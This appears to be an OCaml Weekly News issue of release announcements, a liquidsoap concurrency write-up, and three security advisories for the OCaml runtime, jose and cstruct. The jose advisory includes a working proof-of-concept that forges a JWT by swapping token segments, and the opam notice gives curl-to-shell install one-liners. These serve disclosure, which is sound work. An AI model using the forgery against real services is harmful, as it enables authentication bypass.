OCaml Weekly News

Hi again,

The first release candidate (2.6.0~rc1) is here. If all goes well this should be the last pre-release before the stable release of 2.6.0. Please tell us if you notice any regression.

bash -c "sh <(curl -fsSL https://opam.ocaml.org/install.sh) --version 2.6.0~rc1"

Invoke-Expression "& { $(Invoke-RestMethod https://opam.ocaml.org/install.ps1) } -Version 2.6.0~rc1"

Hi, I'm sedately excited to release tiny_httpd 0.22.

Tiny_httpd is a HTTP 1.1 server, with basic support for websockets, SSE, and pluggable IO/concurrency (as long as it's direct style). The goal is to keep it reasonably simple and light on dependencies; despite that it has been working just fine™ since 2019. This is mostly a bugfix release (I'll suggestively wave my eyebrows as for where the bug reports came from).

Hi everyone,

I'm happy to announce the first release of Owebview, OCaml bindings to webview. It means an embedded web rendering engine in your OCaml apps. It is now available on opam:

opam install owebview

Owebview opens a native window backed by the operating system's own web engine — WebKit on macOS, WebKitGTK on Linux, WebView2 on Windows — and lets you drive it from OCaml. No Electron, no bundler, no packaged browser: a single executable and some HTML.

You can find a blog post about why Owebview is a solution for your OCaml GUIs.

dune exec examples/hellowv/hellowv.exe          # bindings, assets, Dock icon
dune exec examples/timer/timer_posix.exe        # threads + dispatch
dune exec examples/timer/timer_lwt.exe          # the same, driven by Lwt
dune exec examples/d3/d3.exe                    # a D3.js chart
dune exec examples/three/three.exe              # WebGL via three.js
dune exec examples/js_of_ocaml/hellowv.exe      # frontend written in OCaml too

Dear everyone,

a new advisory was published for the OCaml runtime. Below is the advisory, you can as well find it at https://github.com/ocaml/security-advisories and https://osv.dev/list?q=&ecosystem=opam

Best,

Hannes

id: OSEC-2026-18
modified: "2026-09-10T10:00:00Z"
published: "2026-09-10T10:00:00Z"
severity: "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N"
severity_score: "6.8"
affected: "ocaml" {< "5.5.1"}
events: [
   [
     git "https://github.com/ocaml/ocaml" [
       [fixed "928e7c8a950db8730e8e84105d3be347cae38f5c"]
     ]
   ]
   [
     git "https://github.com/ocaml/ocaml" [
       [fixed "304654884d0c90b2e4ab673ff88caef38b05c714"]
     ]
   ]
   [
     git "https://github.com/ocaml/ocaml" [
       [fixed "428288660cc1f655605347e09e2fbc0b0a404660"]
     ]
   ]
]
credits: [
   [reporter "Akshay M Singh"]
   [remediation_developer "Xavier Leroy"]
   [remediation_reviewer "Nicolás Ojeda Bär"]
   [remediation_reviewer "Antonin Décimo"]
   [coordinator "Hannes Mehnert"]
]
cwe: [ CWE-190 CWE-125 ]
aliases: [ CVE-2026-28364 ]
references: [
   [fix "https://github.com/ocaml/ocaml/pull/15019"]
   [fix "https://github.com/ocaml/ocaml/pull/15030"]
]
related: [ OSEC-2026-01 ]

/* caml_input_val_from_bytes, intern.c:1038 */
if (ofs + h.header_len + h.data_len > caml_string_length(str))
   caml_failwith("input_val_from_string: bad length");

/* intern.c:1043 (added by the fix) */
s->intern_src_end = s->intern_src + h.data_len;   /* wraps to a pointer 
BEFORE the buffer */

return Val_long((header_len - 16) + data_len);   /* wraps to 0 / negative */

Dear everyone,

a new advisory was published for the jose package. Below is the advisory, you can as well find it at https://github.com/ocaml/security-advisories and https://osv.dev/list?q=&ecosystem=opam

Best,

Hannes

id: OSEC-2026-19
modified: "2026-09-10T10:00:00Z"
published: "2026-09-10T10:00:00Z"
severity: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
severity_score: "9.1 (Critical)"
affected: "jose" {< "0.11.0"}
events: [
   [
     git "https://github.com/ulrikstrid/ocaml-jose" [
       [fixed "cf17d991ec6a0d1997956b6c7799890f9c28879e"]
     ]
   ]
]
credits: [
   [reporter "Sergey Zhukaev"]
   [coordinator "Hannes Mehnert"]
   [coordinator "Konstantin Olkhovskiy"]
   [remediation_developer "Ulrik Strid"]
]
cwe: [ CWE-347 ]

let () = Mirage_crypto_rng_unix.use_default ()

let key =
   Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:2048 ())

let sign sub =
   Jose.Jwt.sign key ~payload:(`Assoc [ ("sub", `String sub) ])
   |> Result.get_ok |> Jose.Jwt.to_string

let seg n token = List.nth (String.split_on_char '.' token) n

let alice = sign "alice" and admin = sign "admin"

(* alice's header and signature, admin's payload *)
let forged = String.concat "." [ seg 0 alice; seg 1 admin; seg 2 alice ]

match
   Jose.Jwt.unsafe_of_string forged
   |> Result.get_ok
   |> Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key) 
~now:(Ptime_clock.now ())
with
   | Ok t ->
     print_endline
       ("accepted, sub = " ^ Option.get (Jose.Jwt.get_string_claim t "sub"))
   | Error _ -> print_endline "rejected"

(executable (name repro)
(libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os))

Dear everyone,

a new advisory was published for the cstruct package. Below is the advisory, you can as well find it at https://github.com/ocaml/security-advisories and https://osv.dev/list?q=&ecosystem=opam

Best,

Hannes

id: OSEC-2026-20
modified: "2026-09-10T10:00:00Z"
published: "2026-09-10T10:00:00Z"
severity: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
severity_score: "7.3 (High)"
affected: "cstruct" {< "6.3.0"}
events: [
   [
     git "https://github.com/mirage/ocaml-cstruct" [
       [fixed "936f1010d3e9914da9c5c8a4739e9278a37e1c3e"]
     ]
   ]
]
credits: [
   [reporter "Anil Madhavapeddy"]
   [remediation_reviewer "Thomas Gazagnaire"]
   [remediation_developer "Anil Madhavapeddy"]
]
references: [
   [fix "https://github.com/mirage/ocaml-cstruct/pull/324"]
]
cwe: [ CWE-682 ]
affected_bindings: [ "Cstruct.filter_map" "Cstruct.tail" "Cstruct.cuts" 
"Cstruct.find" "Cstruct.find_rev" ]

We are happy to announce improvements to the OCaml VSCode Extension relating to Dune Package Management (DPM). This update includes several bug fixes and quality-of-life improvements. In this new update: to activate DPM as a sandbox:

• First, select "Dune Package Management" from the sandbox list.
• Then a list of dune binaries installed on your computer is displayed to you. Once you select a dune binary, DPM becomes activated for your project.

DPM initializes ocaml-lsp-server for you in the background once it is activated and the extension has helpful suggestions, such as asking you to "lock" your project if you haven't enabled DPM yet. (Enabling DPM can be done either in the dune-workspace file, or by running dune pkg lock). Once both are done, things work nicely.

Notes:

• Other features supported by opam sandboxes such as listing installed dependencies, upgrading and uninstalling packages are not yet supported for DPM.
• If you run dune in watch mode or you run a long-lasting dune command, then DPM on VSCode will not work reliably as the dune build directory will be locked until the currently running process terminates.

You can see more about the changes we have done on the project board. This work was achieved by Pixie Dust, Timéo Arnouts, Ulysse Gerard, Sonja Heinze, Shon Feder, Ali Caglayan, and Sudha Parimala.

[Full disclosure: some of the code and content linked below was done with the help of automated tools. This post is not.]

After a few years holding off on it, it was finally time to do the migration to OCaml 5 for the liquidsoap project! The excellent work done to tame OCaml 5 GC pacing gave us confidence that our memory issues should be in the past now.

The main motivation, for us, is a rather unconventional (I believe) way to use effects: to collect globally the result of local operations happening while liquidsoap scripts are executed. This is detailed here.

Once the switch to OCaml 5 was done, it was time to measure the benefits! The particular standpoint of liquidsoap is that it does both I/O- and CPU-intensive processing: I/O for networking and on-disk operations and CPU for media encoding and decoding. So this was a good opportunity to test both sides!

The first blog post has a lot of details on this topic including how we were finally able to lift our scheduler (named duppy) to take full advantage of its event loop. A decade after the initial design (which is very similar to node/libev), it was nice to see it finally be confirmed for I/O workflows.

For CPU-bound workflow, however, the initial experiments were focused on very heavy video processing, where media computations, mostly done outside of OCaml, dominate so this didn't yield anything too exciting.

The situation is also interesting with Liquidsoap because it runs a real-time streaming loop so, all the advantage of multi-core super fast processing are kinda lost since you have to wait sometimes 70% of the time to avoid getting ahead of time..

However, thinking about it more deeply, a good use-case would, in contrast, be a situation where one audio encoding is shared by multiple sources. Audio encoding is already much less compute-heavy and, when shared, concurrency happening at the OCaml level starts being much more relevant.

This was confirmed in a second blog post. We converted all our clocks (the abstractions responsible for producing content in real-time) from system threads to duppy, domain-backed tasks and.. voila! Finally we were able to see some real benefit:

This shows that, with multi core ocaml supporting those audio streams, we're able to double the number of streams a single process can support before being too slow to generate data real time.

Another interesting graph is then the number of context switches between threads and domain implementations:

Full details:

• https://www.liquidsoap.info/blog/2026-09-04-full-concurrency/
• https://www.liquidsoap.info/blog/2026-09-09-concurrency-revisited/

Dear everyone,

on Tuesday Sep 15th at 14:00 CEST we have another public security meeting. It will take place at https://meet.bornhack.dk/OCamlSecurityPublicMeeting

We will introduce ourselves, and are happy to discuss the topics you bring there. Find a preliminary agenda (at the moment it is empty) at https://pad.data.coop/9DSTtGNnQyyehnJY_k-OHA

See you there,

Hannes & the security team

Hello everyone,

I am happy to announce 2 releases of the dead_code_analyzer (available via opam) :

• Release 1.2.1 includes a collection of bug fixes and strengthens semantics. This release is compatible with OCaml 5.3.
• Release 1.3.0 is an update of 1.2.1, which extends the support to the range OCaml 4.14 - 5.5. There are a few known result inconsistencies between OCaml <= 5.2 and >= 5.3, tracked in this issue. They mostly affect the optional arguments sections. Because OCaml 4.14 is supported by this release 1.3.0, the dedicated branch that was available on my fork will be deleted.

Thanks to David Maison, @sim642, @kit-ty-kate, and @nojb for their contributions, reviews, and feedback. Thanks to LexiFi for its funding!

If you have used/use the dead_code_analyzer, I would love to hear about your experience and usage. Feel free to post here, send me a DM, or an email at corentin@fantazio.eu. It would help prioritize future developments and I might summarise the feedback in an article, a presentation or the documentation.

If you encounter any issue with these releases, please report it on the github repository. Feedback and contributions are welcome.